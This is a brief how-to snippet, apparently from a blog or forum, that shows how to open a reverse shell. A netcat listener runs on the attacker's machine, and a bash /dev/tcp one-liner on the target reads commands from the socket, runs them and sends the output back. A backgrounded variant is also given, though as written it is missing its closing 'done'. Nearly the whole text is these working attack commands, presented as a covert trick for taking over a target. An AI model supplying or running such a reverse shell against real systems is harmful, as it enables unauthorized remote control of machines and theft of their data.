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This is sneaky.
First, start a listening service on your box.
nc -l 8080 -vvv &
On the target you will create a new descriptor which is assigned to a network node. Then you will read and write to that descriptor.
exec 5<>/dev/tcp/<your_box>/8080;cat <&5 | while read line; do $line 2>&5 >&5; done
You can send it to the background like this:
(exec 5<>/dev/tcp/<your-box>/8080;cat <&5 | while read line; do $line 2>&5 >&5;) &
Now everything you type in our local listening server will get executed on the target and the output of the commands will be piped back to the client.